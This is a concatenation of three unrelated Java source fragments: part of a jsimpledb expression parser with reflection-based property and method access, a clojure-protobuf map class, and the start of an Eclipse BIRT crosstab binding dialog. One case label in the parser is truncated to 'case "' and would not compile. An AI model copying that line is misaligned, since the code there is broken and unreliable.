throw new ParseException(ctx);
}
String member = ((IdentNode)memberNode).getName();
// If first atom was an identifier, must be a class name, with last component the field or method name
final Class<?> cl;
if (node instanceof IdentNode) {
// Parse class name
String className = ((IdentNode)node).getName();
for (Matcher matcher; (matcher = ctx.tryPattern("\\s*\\.\\s*(" + IdentNode.NAME_PATTERN + ")")) != null; ) {
className += "." + member;
member = matcher.group(1);
}
// Resolve class
if ((cl = session.resolveClass(className)) == null)
throw new ParseException(ctx, "unknown class `" + className + "'"); // TODO: tab-completions
} else
cl = null;
// Handle property access
if (ctx.tryPattern("\\s*\\(") == null) {
final String propertyName = member;
final Node target = node;
node = new Node() {
@Override
public Value evaluate(Session session) {
if (cl != null) {
return new Value(propertyName.equals("class") ?
cl : BaseExprParser.this.readStaticField(cl, propertyName));
}
return BaseExprParser.this.evaluateProperty(session, target.evaluate(session), propertyName);
}
};
break;
}
// Handle method call
node = this.createMethodInvokeNode(cl != null ? cl : node,
member, BaseExprParser.parseParams(session, ctx, complete));
break;
}
case "[":
{
this.spaceParser.parse(ctx, complete);
final Node index = AssignmentExprParser.INSTANCE.parse(session, ctx, complete);
this.spaceParser.parse(ctx, complete);
if (!ctx.tryLiteral("]"))
throw new ParseException(ctx).addCompletion("] ");
final Node target = node;
node = new Node() {
@Override
public Value evaluate(Session session) {
return Op.ARRAY_ACCESS.apply(session, target.evaluate(session), index.evaluate(session));
}
};
break;
}
case "++":
node = this.createPostcrementNode("increment", node, true);
break;
case "
node = this.createPostcrementNode("decrement", node, false);
break;
default:
throw new RuntimeException("internal error: " + opsym);
}
}
}
// Parse method parameters; we assume opening `(' has just been parsed
static List<Node> parseParams(Session session, ParseContext ctx, boolean complete) {
final ArrayList<Node> params = new ArrayList<Node>();
final SpaceParser spaceParser = new SpaceParser();
spaceParser.parse(ctx, complete);
if (ctx.tryLiteral(")"))
return params;
while (true) {
params.add(ExprParser.INSTANCE.parse(session, ctx, complete));
spaceParser.parse(ctx, complete);
if (ctx.tryLiteral(")"))
break;
if (!ctx.tryLiteral(","))
throw new ParseException(ctx).addCompletion(", ");
spaceParser.parse(ctx, complete);
}
return params;
}
private Object readStaticField(Class<?> cl, String name) {
try {
return cl.getField(name).get(null);
} catch (NoSuchFieldException e) {
throw new EvalException("no field `" + name + "' found in class `" + cl.getName() + "'", e);
} catch (NullPointerException e) {
throw new EvalException("field `" + name + "' in class `" + cl.getName() + "' is not a static field");
} catch (Exception e) {
throw new EvalException("error reading field `" + name + "' in class `" + cl.getName() + "': " + e, e);
}
}
private Value evaluateProperty(Session session, Value value, final String name) {
// Evaluate value
final Object obj = value.checkNotNull(session, "property `" + name + "' access");
final Class<?> cl = obj.getClass();
// Try bean property accessed via bean methods
final BeanInfo beanInfo;
try {
beanInfo = Introspector.getBeanInfo(cl);
} catch (IntrospectionException e) {
throw new EvalException("error introspecting class `" + cl.getName() + "': " + e, e);
}
for (PropertyDescriptor pd : beanInfo.getPropertyDescriptors()) {
if (pd instanceof IndexedPropertyDescriptor)
continue;
if (!pd.getName().equals(name))
continue;
final Method readMethod = pd.getReadMethod();
final Method writeMethod = pd.getWriteMethod();
return new Value(null, writeMethod != null ? new Setter() {
@Override
public void set(Session session, Object value) {
try {
writeMethod.invoke(obj, value);
} catch (Exception e) {
final Throwable t = e instanceof InvocationTargetException ?
((InvocationTargetException)e).getTargetException() : e;
throw new EvalException("error writing property `" + name + "' to object of type "
+ cl.getName() + ": " + t, t);
}
}
} : null) {
@Override
public Object get(Session session) {
try {
return readMethod.invoke(obj);
} catch (Exception e) {
final Throwable t = e instanceof InvocationTargetException ?
((InvocationTargetException)e).getTargetException() : e;
throw new EvalException("error reading property `" + name + "' from object of type "
+ cl.getName() + ": " + t, t);
}
}
};
}
// Try instance field
/*final*/ Field javaField;
try {
javaField = cl.getField(name);
} catch (NoSuchFieldException e) {
javaField = null;
}
if (javaField != null) {
final Field javaField2 = javaField;
return new DynamicValue() {
@Override
public void set(Session session, Object value) {
try {
javaField2.set(obj, value);
} catch (Exception e) {
throw new EvalException("error setting field `" + name + "' in object of type "
+ cl.getName() + ": " + e, e);
}
}
@Override
public Object get(Session session) {
try {
return javaField2.get(obj);
} catch (Exception e) {
throw new EvalException("error reading field `" + name + "' in object of type "
+ cl.getName() + ": " + e, e);
}
}
};
}
// Handle properties of database objects
if (obj instanceof ObjId) {
// Get object info
final ObjId id = (ObjId)obj;
final ObjInfo info = ObjInfo.getObjInfo(session, id);
if (info == null)
throw new EvalException("error reading field `" + name + "': object " + id + " does not exist");
final ObjType objType = info.getObjType();
// Find the field
final org.jsimpledb.core.Field<?> field = Iterables.find(objType.getFields().values(),
new Predicate<org.jsimpledb.core.Field<?>>() {
@Override
public boolean apply(org.jsimpledb.core.Field<?> field) {
return field.getName().equals(name);
}
}, null);
if (field == null)
throw new EvalException("error reading field `" + name + "': there is no such field in " + objType);
// Return value
final Transaction tx = session.getTransaction();
return field.visit(new FieldSwitchAdapter<Value>() {
@Override
public <E> Value caseSetField(SetField<E> field) {
return new Value(tx.readSetField(id, field.getStorageId(), false));
}
@Override
public <K, V> Value caseMapField(MapField<K, V> field) {
return new Value(tx.readMapField(id, field.getStorageId(), false));
}
@Override
public <T> Value caseSimpleField(final SimpleField<T> field) {
return new Value(tx.readSimpleField(id, field.getStorageId(), false), new Setter() {
@Override
public void set(Session session, Object value) {
try {
session.getTransaction().writeSimpleField(id, field.getStorageId(), value, false);
} catch (IllegalArgumentException e) {
throw new EvalException("invalid value of type " + value.getClass().getName() + " for " + field, e);
}
}
});
}
@Override
public Value caseCounterField(CounterField field) {
return new Value(tx.readCounterField(id, field.getStorageId(), false));
}
});
}
// Not found
throw new EvalException("property `" + name + "' not found in " + cl);
}
private Node createMethodInvokeNode(final Object target, final String name, final List<Node> paramNodes) {
return new Node() {
@Override
public Value evaluate(final Session session) {
final Class<?> cl;
final Object obj;
final String desc;
if (target instanceof Node) { // instance method
obj = ((Node)target).evaluate(session).checkNotNull(session, "method " + name + "() invocation");
cl = obj.getClass();
desc = "object of type " + cl.getName();
} else { // static method
obj = null;
cl = (Class<?>)target;
desc = cl.toString();
}
final Object[] params = Lists.transform(paramNodes, new com.google.common.base.Function<Node, Object>() {
@Override
public Object apply(Node param) {
return param.evaluate(session).get(session);
}
}).toArray();
for (Method method : cl.getMethods()) {
if (!method.getName().equals(name))
continue;
final Class<?>[] ptypes = method.getParameterTypes();
Object[] methodParams = params;
if (method.isVarArgs()) {
if (params.length < ptypes.length - 1)
continue;
methodParams = new Object[ptypes.length];
System.arraycopy(params, 0, methodParams, 0, ptypes.length - 1);
Object[] varargs = new Object[params.length - (ptypes.length - 1)];
System.arraycopy(params, ptypes.length - 1, varargs, 0, varargs.length);
methodParams[ptypes.length - 1] = varargs;
} else if (methodParams.length != ptypes.length)
continue;
try {
return new Value(method.invoke(obj, methodParams));
} catch (IllegalArgumentException e) {
continue; // a parameter type didn't match -> wrong method
} catch (Exception e) {
final Throwable t = e instanceof InvocationTargetException ?
((InvocationTargetException)e).getTargetException() : e;
throw new EvalException("error invoking method `" + name + "()' " + desc + ": " + t, t);
}
}
throw new EvalException("no compatible method `" + name + "()' found in " + cl);
}
};
}
private Node createPostcrementNode(final String operation, final Node node, final boolean increment) {
return new Node() {
@Override
public Value evaluate(Session session) {
final Value oldValue = node.evaluate(session);
oldValue.increment(session, "post-" + operation, increment);
return oldValue;
}
};
}
}
|
package clojure.protobuf;
import clojure.lang.*;
import java.util.*;
import java.io.InputStream;
import java.io.IOException;
import java.util.concurrent.ConcurrentHashMap;
import java.lang.reflect.InvocationTargetException;
import com.google.protobuf.InvalidProtocolBufferException;
import com.google.protobuf.DynamicMessage;
import com.google.protobuf.Descriptors;
public class PersistentProtocolBufferMap extends APersistentMap {
public static class Def {
final Descriptors.Descriptor type;
ConcurrentHashMap<Keyword, Descriptors.FieldDescriptor> keyword_to_field;
static ConcurrentHashMap<Descriptors.Descriptor, Def> type_to_def = new ConcurrentHashMap<Descriptors.Descriptor, Def>();
public static Def create(String class_name) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
Class<?> c = Class.forName(class_name);
Descriptors.Descriptor type = (Descriptors.Descriptor) c.getMethod("getDescriptor").invoke(null);
return create(type);
}
public static Def create(Descriptors.Descriptor type) {
Def def = type_to_def.get(type);
if (def == null) {
def = new Def(type);
type_to_def.putIfAbsent(type, def);
}
return def;
}
protected Def(Descriptors.Descriptor type) {
this.type = type;
this.keyword_to_field = new ConcurrentHashMap<Keyword, Descriptors.FieldDescriptor>();
}
public DynamicMessage parseFrom(byte[] bytes) throws InvalidProtocolBufferException {
return DynamicMessage.parseFrom(type, bytes);
}
public DynamicMessage.Builder newBuilder() {
return DynamicMessage.newBuilder(type);
}
public Descriptors.FieldDescriptor fieldDescriptor(Keyword key) {
Descriptors.FieldDescriptor field = keyword_to_field.get(key);
if (field == null) {
field = type.findFieldByName(key.getName());
if (field != null) keyword_to_field.putIfAbsent(key, field);
}
return field;
}
public String getName() {
return type.getName();
}
public String getFullName() {
return type.getFullName();
}
public Descriptors.Descriptor getMessageType() {
return type;
}
}
final Def def;
final DynamicMessage message;
final DynamicMessage.Builder builder;
DynamicMessage built_message;
static public PersistentProtocolBufferMap create(Def def, byte[] bytes) throws InvalidProtocolBufferException {
DynamicMessage message = def.parseFrom(bytes);
return new PersistentProtocolBufferMap(null, def, message, null);
}
static public PersistentProtocolBufferMap construct(Def def, IPersistentMap keyvals) {
DynamicMessage.Builder builder = def.newBuilder();
PersistentProtocolBufferMap protobuf = new PersistentProtocolBufferMap(null, def, null, builder);
return (PersistentProtocolBufferMap) protobuf.cons(keyvals);
}
protected PersistentProtocolBufferMap(IPersistentMap meta, Def def, DynamicMessage message, DynamicMessage.Builder builder) {
super(meta);
this.def = def;
this.message = message;
this.builder = builder;
}
static protected PersistentProtocolBufferMap makeNew(IPersistentMap meta, Def def, DynamicMessage message, DynamicMessage.Builder builder) {
return new PersistentProtocolBufferMap(meta, def, message, builder);
}
public byte[] toByteArray() {
return message().toByteArray();
}
public Descriptors.Descriptor getMessageType() {
return def.getMessageType();
}
protected DynamicMessage message() {
if (message == null) {
if (built_message == null) built_message = builder.build();
return built_message;
} else {
return message;
}
}
protected DynamicMessage.Builder builder() {
if (builder == null) {
return message.toBuilder();
} else {
return builder.clone();
}
}
static ConcurrentHashMap<Descriptors.EnumValueDescriptor, Keyword> enum_to_keyword = new ConcurrentHashMap<Descriptors.EnumValueDescriptor, Keyword>();
static protected Keyword enumToKeyword(Descriptors.EnumValueDescriptor e) {
Keyword k = enum_to_keyword.get(e);
if (k == null) {
k = Keyword.intern(Symbol.intern(e.getName().toLowerCase()));
}
return k;
}
static protected Object fromProtoValue(Descriptors.FieldDescriptor field, Object value) {
if (value instanceof List) {
List values = (List) value;
List<Object> items = new ArrayList<Object>(values.size());
Iterator iterator = values.iterator();
while (iterator.hasNext()) {
items.add(fromProtoValue(field, iterator.next()));
}
return PersistentVector.create(items);
} else {
switch (field.getJavaType()) {
case ENUM:
Descriptors.EnumValueDescriptor e = (Descriptors.EnumValueDescriptor) value;
return enumToKeyword(e);
case MESSAGE:
Def def = PersistentProtocolBufferMap.Def.create(field.getMessageType());
DynamicMessage message = (DynamicMessage) value;
return PersistentProtocolBufferMap.makeNew(null, def, message, null);
default:
return value;
}
}
}
static protected Object toProtoValue(Descriptors.FieldDescriptor field, Object value) {
switch (field.getJavaType()) {
case LONG:
if (value instanceof Long) return value;
Integer i = (Integer) value;
return new Long(i.longValue());
case INT:
if (value instanceof Integer) return value;
Long l = (Long) value;
return new Integer(l.intValue());
case ENUM:
Descriptors.EnumDescriptor e = field.getEnumType();
Keyword key = (Keyword) value;
return e.findValueByName(key.getName().toUpperCase());
case MESSAGE:
PersistentProtocolBufferMap protobuf;
if (value instanceof PersistentProtocolBufferMap) {
protobuf = (PersistentProtocolBufferMap) value;
} else {
Def def = PersistentProtocolBufferMap.Def.create(field.getMessageType());
protobuf = PersistentProtocolBufferMap.construct(def, (IPersistentMap) value);
}
return protobuf.message();
default:
return value;
}
}
protected void setField(DynamicMessage.Builder builder, Descriptors.FieldDescriptor field, Object val) {
if (field == null) return;
if (field.isRepeated()) {
builder.clearField(field);
for (ISeq s = RT.seq(val); s != null; s = s.next()) {
Object value = toProtoValue(field, s.first());
builder.addRepeatedField(field, value);
}
} else {
Object value = toProtoValue(field, val);
builder.setField(field, value);
}
}
public Obj withMeta(IPersistentMap meta) {
if (meta == meta()) return this;
return makeNew(meta, def, message, builder);
}
public boolean containsKey(Object key) {
Descriptors.FieldDescriptor field = def.fieldDescriptor((Keyword) key);
return message().hasField(field);
}
public IMapEntry entryAt(Object key) {
Object value = valAt(key);
return (value == null) ? null : new MapEntry(key, value);
}
public Object valAt(Object key) {
Descriptors.FieldDescriptor field = def.fieldDescriptor((Keyword) key);
if (field == null) return null;
return fromProtoValue(field, message().getField(field));
}
public Object valAt(Object key, Object notFound) {
Object val = valAt(key);
return (val == null) ? notFound : val;
}
public IPersistentMap assoc(Object key, Object val) {
DynamicMessage.Builder builder = builder();
Descriptors.FieldDescriptor field = def.fieldDescriptor((Keyword) key);
if (field == null) return this;
setField(builder, field, val);
return makeNew(meta(), def, null, builder);
}
public IPersistentMap assocEx(Object key, Object val) throws Exception {
if(containsKey(key)) throw new Exception("Key already present");
return assoc(key, val);
}
public IPersistentCollection cons(Object o) {
if (o instanceof Map.Entry) {
Map.Entry e = (Map.Entry) o;
return assoc(e.getKey(), e.getValue());
} else if (o instanceof IPersistentVector) {
IPersistentVector v = (IPersistentVector) o;
if (v.count() != 2) throw new IllegalArgumentException("Vector arg to map conj must be a pair");
return assoc(v.nth(0), v.nth(1));
}
DynamicMessage.Builder builder = builder();
for(ISeq s = RT.seq(o); s != null; s = s.next()) {
Map.Entry e = (Map.Entry) s.first();
Keyword key = (Keyword) e.getKey();
setField(builder, def.fieldDescriptor(key), e.getValue());
}
return makeNew(meta(), def, null, builder);
}
public IPersistentMap without(Object key) throws Exception {
Descriptors.FieldDescriptor field = def.fieldDescriptor((Keyword) key);
if (field == null) return this;
if (field.isRequired()) throw new Exception("Can't remove required field");
DynamicMessage.Builder builder = builder();
builder.clearField(field);
return makeNew(meta(), def, null, builder);
}
public Iterator iterator() {
return new SeqIterator(seq());
}
public int count() {
return message().getAllFields().size();
}
public ISeq seq() {
return Seq.create(message());
}
public IPersistentCollection empty() {
DynamicMessage.Builder builder = builder();
builder.clear();
return makeNew(meta(), def, null, builder);
}
static class Seq extends ASeq {
final Map<Descriptors.FieldDescriptor, Object> map;
final Descriptors.FieldDescriptor[] fields;
final int i;
static public Seq create(DynamicMessage message) {
Map<Descriptors.FieldDescriptor, Object> map = message.getAllFields();
if (map.size() == 0) return null;
Descriptors.FieldDescriptor[] fields = new Descriptors.FieldDescriptor[map.size()];
fields = (Descriptors.FieldDescriptor[]) map.keySet().toArray(fields);
return new Seq(null, map, fields, 0);
}
protected Seq(IPersistentMap meta, Map<Descriptors.FieldDescriptor, Object> map, Descriptors.FieldDescriptor[] fields, int i){
super(meta);
this.map = map;
this.fields = fields;
this.i = i;
}
public Obj withMeta(IPersistentMap meta) {
if(meta != meta()) return new Seq(meta, map, fields, i);
return this;
}
public Object first() {
if (i == fields.length) return null;
Descriptors.FieldDescriptor field = fields[i];
Keyword key = Keyword.intern(Symbol.intern(field.getName()));
Object val = PersistentProtocolBufferMap.fromProtoValue(field, map.get(field));
return new MapEntry(key, val);
}
public ISeq next() {
if (i + 1 < fields.length) return new Seq(meta(), map, fields, i + 1);
return null;
}
}
}
|
package org.eclipse.birt.report.item.crosstab.internal.ui.dialogs;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.StringTokenizer;
import org.eclipse.birt.core.exception.BirtException;
import org.eclipse.birt.data.engine.api.aggregation.IAggregationFactory;
import org.eclipse.birt.data.engine.api.aggregation.IAggregationInfo;
import org.eclipse.birt.data.engine.api.aggregation.IParameterInfo;
import org.eclipse.birt.report.data.adapter.api.AdapterException;
import org.eclipse.birt.report.data.adapter.api.DataAdapterUtil;
import org.eclipse.birt.report.designer.data.ui.util.DataUtil;
import org.eclipse.birt.report.designer.internal.ui.dialogs.AbstractBindingDialogHelper;
import org.eclipse.birt.report.designer.internal.ui.util.ExceptionHandler;
import org.eclipse.birt.report.designer.internal.ui.util.UIUtil;
import org.eclipse.birt.report.designer.internal.ui.util.WidgetUtil;
import org.eclipse.birt.report.designer.nls.Messages;
import org.eclipse.birt.report.designer.ui.dialogs.ExpressionBuilder;
import org.eclipse.birt.report.designer.ui.views.attributes.providers.ChoiceSetFactory;
import org.eclipse.birt.report.designer.util.DEUtil;
import org.eclipse.birt.report.item.crosstab.core.ICrosstabConstants;
import org.eclipse.birt.report.item.crosstab.core.de.AggregationCellHandle;
import org.eclipse.birt.report.item.crosstab.core.de.CrosstabReportItemHandle;
import org.eclipse.birt.report.item.crosstab.core.de.CrosstabViewHandle;
import org.eclipse.birt.report.item.crosstab.core.de.DimensionViewHandle;
import org.eclipse.birt.report.item.crosstab.core.de.LevelViewHandle;
import org.eclipse.birt.report.model.api.AggregationArgumentHandle;
import org.eclipse.birt.report.model.api.ComputedColumnHandle;
import org.eclipse.birt.report.model.api.ExtendedItemHandle;
import org.eclipse.birt.report.model.api.ReportItemHandle;
import org.eclipse.birt.report.model.api.StructureFactory;
import org.eclipse.birt.report.model.api.activity.SemanticException;
import org.eclipse.birt.report.model.api.elements.structures.AggregationArgument;
import org.eclipse.birt.report.model.api.elements.structures.ComputedColumn;
import org.eclipse.birt.report.model.api.extension.ExtendedElementException;
import org.eclipse.birt.report.model.api.metadata.IArgumentInfo;
import org.eclipse.birt.report.model.api.metadata.IArgumentInfoList;
import org.eclipse.birt.report.model.api.metadata.IChoice;
import org.eclipse.birt.report.model.api.metadata.IChoiceSet;
import org.eclipse.birt.report.model.api.metadata.IMethodInfo;
import org.eclipse.jface.window.Window;
import org.eclipse.swt.SWT;
import org.eclipse.swt.custom.CLabel;
import org.eclipse.swt.events.ModifyEvent;
import org.eclipse.swt.events.ModifyListener;
import org.eclipse.swt.events.SelectionAdapter;
import org.eclipse.swt.events.SelectionEvent;
import org.eclipse.swt.layout.GridData;
import org.eclipse.swt.layout.GridLayout;
import org.eclipse.swt.widgets.Button;
import org.eclipse.swt.widgets.Combo;
import org.eclipse.swt.widgets.Composite;
import org.eclipse.swt.widgets.Control;
import org.eclipse.swt.widgets.Label;
import org.eclipse.swt.widgets.Text;
import org.eclipse.ui.ISharedImages;
import org.eclipse.ui.PlatformUI;
public class CrosstabBindingDialogHelper extends AbstractBindingDialogHelper
{
protected static final String NAME = Messages.getString( "BindingDialogHelper.text.Name" ); //$NON-NLS-1$
protected static final String DATA_TYPE = Messages.getString( "BindingDialogHelper.text.DataType" ); //$NON-NLS-1$
protected static final String FUNCTION = Messages.getString( "BindingDialogHelper.text.Function" ); //$NON-NLS-1$
protected static final String DATA_FIELD = Messages.getString( "BindingDialogHelper.text.DataField" ); //$NON-NLS-1$
protected static final String FILTER_CONDITION = Messages.getString( "BindingDialogHelper.text.Filter" ); //$NON-NLS-1$
protected static final String AGGREGATE_ON = Messages.getString( "BindingDialogHelper.text.AggOn" ); //$NON-NLS-1$
protected static final String EXPRESSION = Messages.getString( "BindingDialogHelper.text.Expression" ); //$NON-NLS-1$
protected static final String ALL = Messages.getString( "CrosstabBindingDialogHelper.AggOn.All" ); //$NON-NLS-1$
protected static final String DISPLAY_NAME = Messages.getString( "BindingDialogHelper.text.displayName" ); //$NON-NLS-1$
protected static final String DEFAULT_ITEM_NAME = Messages.getString( "BindingDialogHelper.bindingName.dataitem" ); //$NON-NLS-1$
protected static final String DEFAULT_AGGREGATION_NAME = Messages.getString( "BindingDialogHelper.bindingName.aggregation" ); //$NON-NLS-1$
protected static final IChoiceSet DATA_TYPE_CHOICE_SET = DEUtil.getMetaDataDictionary( )
.getStructure( ComputedColumn.COMPUTED_COLUMN_STRUCT )
.getMember( ComputedColumn.DATA_TYPE_MEMBER )
.getAllowedChoices( );
protected static final IChoice[] DATA_TYPE_CHOICES = DATA_TYPE_CHOICE_SET.getChoices( null );
protected String[] dataTypes = ChoiceSetFactory.getDisplayNamefromChoiceSet( DATA_TYPE_CHOICE_SET );
private Text txtName, txtFilter, txtExpression;
private Combo cmbType, cmbFunction, cmbDataField, cmbAggOn;
private Composite argsComposite;
private String name;
private String typeSelect;
private String expression;
private Map argsMap = new HashMap( );
private Composite composite;
private Text txtDisplayName;
private ComputedColumn newBinding;
private CLabel messageLine;
public void createContent( Composite parent )
{
composite = parent;
( (GridLayout) composite.getLayout( ) ).numColumns = 3;
GridData gd = new GridData( GridData.FILL_BOTH );
gd.widthHint = 380;
if ( isAggregate( ) )
{
gd.heightHint = 300;
}
else
{
gd.heightHint = 150;
}
composite.setLayoutData( gd );
new Label( composite, SWT.NONE ).setText( NAME );
txtName = new Text( composite, SWT.BORDER );
txtName.setLayoutData( new GridData( GridData.FILL_HORIZONTAL
| GridData.GRAB_HORIZONTAL ) );
WidgetUtil.createGridPlaceholder( composite, 1, false );
txtName.addModifyListener( new ModifyListener( ) {
public void modifyText( ModifyEvent e )
{
validate( );
}
} );
new Label( composite, SWT.NONE ).setText( DISPLAY_NAME );
txtDisplayName = new Text( composite, SWT.BORDER );
txtDisplayName.setLayoutData( new GridData( GridData.FILL_HORIZONTAL
| GridData.GRAB_HORIZONTAL ) );
WidgetUtil.createGridPlaceholder( composite, 1, false );
new Label( composite, SWT.NONE ).setText( DATA_TYPE );
cmbType = new Combo( composite, SWT.BORDER | SWT.READ_ONLY );
cmbType.setLayoutData( new GridData( GridData.FILL_HORIZONTAL
| GridData.GRAB_HORIZONTAL ) );
WidgetUtil.createGridPlaceholder( composite, 1, false );
if ( isAggregate( ) )
{
createAggregateSection( composite );
}
else
{
createCommonSection( composite );
}
createMessageSection( composite );
}
public void initDialog( )
{
if ( getBinding( ) == null )//create
{
setTypeSelect( dataTypes[0] );
this.newBinding = StructureFactory.newComputedColumn( getBindingHolder( ),
isAggregate( ) ? DEFAULT_AGGREGATION_NAME
: DEFAULT_ITEM_NAME );
setName( this.newBinding.getName( ) );
}
else
{
setName( getBinding( ).getName( ) );
setDisplayName( getBinding( ).getDisplayName( ) );
setTypeSelect( DATA_TYPE_CHOICE_SET.findChoice( getBinding( ).getDataType( ) )
.getDisplayName( ) );
setDataFieldExpression( getBinding( ).getExpression( ) );
}
if ( this.getBinding( ) != null )
{
this.txtName.setEnabled( false );
}
if ( isAggregate( ) )
{
initFunction( );
initDataFields( );
initFilter( );
initAggOn( );
}
validate( );
}
private void initAggOn( )
{
try
{
CrosstabReportItemHandle xtabHandle = (CrosstabReportItemHandle) ( (ExtendedItemHandle) getBindingHolder( ) ).getReportItem( );
String[] aggOns = getAggOns( xtabHandle );
cmbAggOn.setItems( aggOns );
String aggstr = "";
if ( getBinding( ) != null )
{
List aggOnList = getBinding( ).getAggregateOnList( );
int i = 0;
for ( Iterator iterator = aggOnList.iterator( ); iterator.hasNext( ); )
{
if ( i > 0 )
aggstr += ",";
String name = (String) iterator.next( );
aggstr += name;
i++;
}
}
else if ( getDataItemContainer( ) instanceof AggregationCellHandle )
{
AggregationCellHandle cellHandle = (AggregationCellHandle) getDataItemContainer( );
if ( cellHandle.getAggregationOnRow( ) != null )
{
aggstr += cellHandle.getAggregationOnRow( ).getFullName( );
if ( cellHandle.getAggregationOnColumn( ) != null )
{
aggstr += ",";
}
}
if ( cellHandle.getAggregationOnColumn( ) != null )
{
aggstr += cellHandle.getAggregationOnColumn( )
.getFullName( );
}
}
for ( int j = 0; j < aggOns.length; j++ )
{
if ( aggOns[j].equals( aggstr ) )
{
cmbAggOn.select( j );
return;
}
}
cmbAggOn.select( 0 );
}
catch ( ExtendedElementException e )
{
ExceptionHandler.handle( e );
}
}
private String[] getAggOns( CrosstabReportItemHandle xtabHandle )
{
List rowLevelList = getCrosstabViewHandleLevels( xtabHandle,
ICrosstabConstants.ROW_AXIS_TYPE );
List columnLevelList = getCrosstabViewHandleLevels( xtabHandle,
ICrosstabConstants.COLUMN_AXIS_TYPE );
List aggOnList = new ArrayList( );
aggOnList.add( ALL );
for ( Iterator iterator = rowLevelList.iterator( ); iterator.hasNext( ); )
{
String name = (String) iterator.next( );
aggOnList.add( name );
}
for ( Iterator iterator = columnLevelList.iterator( ); iterator.hasNext( ); )
{
String name = (String) iterator.next( );
aggOnList.add( name );
}
for ( Iterator iterator = rowLevelList.iterator( ); iterator.hasNext( ); )
{
String name = (String) iterator.next( );
for ( Iterator iterator2 = columnLevelList.iterator( ); iterator2.hasNext( ); )
{
String name2 = (String) iterator2.next( );
aggOnList.add( name + "," + name2 );
}
}
return (String[]) aggOnList.toArray( new String[aggOnList.size( )] );
}
private List getCrosstabViewHandleLevels( CrosstabReportItemHandle xtab,
int type )
{
List levelList = new ArrayList( );
CrosstabViewHandle viewHandle = xtab.getCrosstabView( type );
if ( viewHandle != null )
{
int dimensions = viewHandle.getDimensionCount( );
for ( int i = 0; i < dimensions; i++ )
{
DimensionViewHandle dimension = viewHandle.getDimension( i );
int levels = dimension.getLevelCount( );
for ( int j = 0; j < levels; j++ )
{
LevelViewHandle level = dimension.getLevel( j );
levelList.add( level.getCubeLevel( ).getFullName( ) );
}
}
}
return levelList;
}
private void initFilter( )
{
if ( binding != null && binding.getFilterExpression( ) != null )
{
txtFilter.setText( binding.getFilterExpression( ) );
}
}
private void initFunction( )
{
cmbFunction.setItems( getFunctionDisplayNames( ) );
// cmbFunction.add( NULL, 0 );
if ( binding == null )
{
cmbFunction.select( 0 );
handleFunctionSelectEvent( );
return;
}
try
{
String functionString = getFunctionDisplayName( DataAdapterUtil.adaptModelAggregationType(binding.getAggregateFunction( )) );
int itemIndex = getItemIndex( getFunctionDisplayNames( ),
functionString );
cmbFunction.select( itemIndex );
handleFunctionSelectEvent( );
}
catch ( AdapterException e )
{
ExceptionHandler.handle( e );
}
// List args = getFunctionArgs( functionString );
// bindingColumn.argumentsIterator( )
for ( Iterator iterator = binding.argumentsIterator( ); iterator.hasNext( ); )
{
AggregationArgumentHandle arg = (AggregationArgumentHandle) iterator.next( );
String argDisplayName = getArgumentDisplayNameByName( binding.getAggregateFunction( ),
arg.getName( ) );
if ( argsMap.containsKey( argDisplayName ) )
{
if ( arg.getValue( ) != null )
{
Text txtArg = (Text) argsMap.get( argDisplayName );
txtArg.setText( arg.getValue( ) );
}
}
}
}
private String[] getFunctionDisplayNames( )
{
IAggregationInfo[] choices = getFunctions( );
if ( choices == null )
return new String[0];
String[] displayNames = new String[choices.length];
for ( int i = 0; i < choices.length; i++ )
{
displayNames[i] = choices[i].getDisplayName( );
}
return displayNames;
}
private IAggregationInfo getFunctionByDisplayName( String displayName )
{
IAggregationInfo[] choices = getFunctions( );
if ( choices == null )
return null;
for ( int i = 0; i < choices.length; i++ )
{
if ( choices[i].getDisplayName( ).equals( displayName ) )
{
return choices[i];
}
}
return null;
}
private String getFunctionDisplayName( String function )
{
try
{
return DataUtil.getAggregationFactory( )
.getAggrInfo( function )
.getDisplayName( );
}
catch ( BirtException e )
{
ExceptionHandler.handle( e );
return null;
}
}
private IAggregationInfo[] getFunctions( )
{
try
{
List aggrInfoList = DataUtil.getAggregationFactory( )
.getAggrInfoList( IAggregationFactory.AGGR_XTAB );
return (IAggregationInfo[]) aggrInfoList.toArray( new IAggregationInfo[0] );
}
catch ( BirtException e )
{
ExceptionHandler.handle( e );
return new IAggregationInfo[0];
}
}
/**
* fill the cmbDataField with binding holder's bindings
*/
private void initDataFields( )
{
String[] items = getMesures( );
cmbDataField.setItems( items );
if ( binding != null )
{
for ( int i = 0; i < items.length; i++ )
{
if ( items[i].equals( binding.getExpression( ) ) )
{
cmbDataField.select( i );
}
}
}
}
private String[] getMesures( )
{
try
{
CrosstabReportItemHandle xtabHandle = (CrosstabReportItemHandle) ( (ExtendedItemHandle) getBindingHolder( ) ).getReportItem( );
String[] mesures = new String[xtabHandle.getMeasureCount( ) + 1];
mesures[0] = ""; //$NON-NLS-1$
for ( int i = 1; i < mesures.length; i++ )
{
mesures[i] = DEUtil.getExpression( xtabHandle.getMeasure( i - 1 )
.getCubeMeasure( ) );
}
return mesures;
}
catch ( ExtendedElementException e )
{
}
return new String[0];
}
private void setDataFieldExpression( String expression )
{
this.expression = expression;
if ( expression != null )
{
if ( cmbDataField != null && !cmbDataField.isDisposed( ) )
{
cmbDataField.setText( expression );
}
if ( txtExpression != null && !txtExpression.isDisposed( ) )
{
txtExpression.setText( expression );
}
}
}
private void setName( String name )
{
this.name = name;
if ( name != null && txtName != null )
txtName.setText( name );
}
private void setDisplayName( String displayName )
{
if ( displayName != null && txtDisplayName != null )
txtDisplayName.setText( displayName );
}
private void setTypeSelect( String typeSelect )
{
this.typeSelect = typeSelect;
if ( dataTypes != null && cmbType != null )
{
cmbType.setItems( dataTypes );
if ( typeSelect != null )
cmbType.select( getItemIndex( cmbType.getItems( ), typeSelect ) );
else
cmbType.select( 0 );
}
}
private int getItemIndex( String[] items, String item )
{
for ( int i = 0; i < items.length; i++ )
{
if ( items[i].equals( item ) )
return i;
}
return -1;
}
private void createAggregateSection( Composite composite )
{
new Label( composite, SWT.NONE ).setText( FUNCTION );
cmbFunction = new Combo( composite, SWT.BORDER | SWT.READ_ONLY );
cmbFunction.setLayoutData( new GridData( GridData.FILL_HORIZONTAL
| GridData.GRAB_HORIZONTAL ) );
WidgetUtil.createGridPlaceholder( composite, 1, false );
cmbFunction.addSelectionListener( new SelectionAdapter( ) {
public void widgetSelected( SelectionEvent e )
{
handleFunctionSelectEvent( );
validate( );
}
} );
